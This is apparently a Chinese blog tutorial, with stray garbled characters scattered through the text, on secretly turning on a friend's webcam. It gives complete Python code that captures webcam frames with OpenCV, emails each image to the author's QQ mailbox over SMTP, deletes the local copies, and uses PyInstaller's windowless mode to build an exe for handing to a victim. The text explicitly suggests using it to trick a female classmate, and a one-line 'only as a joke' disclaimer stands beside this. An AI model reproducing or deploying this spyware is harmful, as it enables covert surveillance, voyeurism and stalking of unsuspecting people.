前言:
如何悄悄的打開朋友的攝像頭休涤,看看她最近過的怎么樣,嘿嘿笛辟!這次讓我?guī)銈儊韺崿F(xiàn)這個功能功氨。
注: 這個程序僅限在朋友之間開玩笑,別去搞什么違法的事情哦手幢。
代碼
發(fā)送郵件
使用python內(nèi)置的email模塊即可完成捷凄。導入相應的代碼封裝為一個send函數(shù),順便導入需要導入的包
注: 下面的代碼有三處要修改的地方围来,兩處寫的qq郵箱地址跺涤,還有一處寫的qq郵箱授權碼,不知道qq郵箱授權碼的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
? ? sender = '寫你的qq郵箱地址'
? ? receivers = '寫你的qq郵箱地址'
? ? message = MIMEMultipart('related')
? ? subject = '終于能發(fā)圖片了'
? ? message['Subject'] = subject
? ? message['From'] = sender
? ? message['To'] = receivers
? ? content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
? ? message.attach(content)
? ? file = open(img, "rb")
? ? img_data = file.read()
? ? file.close()
? ? img = MIMEImage(img_data)
? ? img.add_header('Content-ID', 'imageid')
? ? message.attach(img)
? ? try:
? ? ? ? server = smtplib.SMTP_SSL("smtp.qq.com", 465)
? ? ? ? server.login(sender, '寫授權碼')
? ? ? ? server.sendmail(sender, receivers, message.as_string())
? ? ? ? server.quit()
? ? except smtplib.SMTPException as e:
? ? ? ? print(e)
打開攝像頭并發(fā)送圖片
我們使用opencv打開筆記本內(nèi)置的攝像頭管钳,不多說上代碼
cap = cv2.VideoCapture(0)
for item in range(10):
? ? cat, frame = cap.read()
? ? cv2.imwrite('1.png', frame)
? ? send('1.png')
? ? os.remove('1.png')
使用pyinstaller將程序打包
好不容易寫好了代碼钦铁,結果同學那里沒有運行環(huán)境豈不是很沮喪。那我們就嘿嘿嘿才漆。 把它直接搞成一個exe文件牛曹,照片還不是手到擒來。
我們使用pyinstaller來打包醇滥,沒有下載的可以先pip安裝
pip install pyinstaller -i?https://pypi.douban.com/simple?--user
之后我們打開cmd黎比,cd到你的代碼所在的文件,輸入一下指令鸳玩。
Pyinstaller -F -w?setup.py
注:?setup.py?是你的文件名阅虫。
然后等一會,等運行完了之后你就會發(fā)現(xiàn)在你的代碼所在的文件夾里多了一個dist的文件夾不跟,exe文件就在那里颓帝。
下面就是最關鍵的一步了!
你不去忽悠下女同學(事)窝革?
更多學習課程以及資料 加Q群313074041領取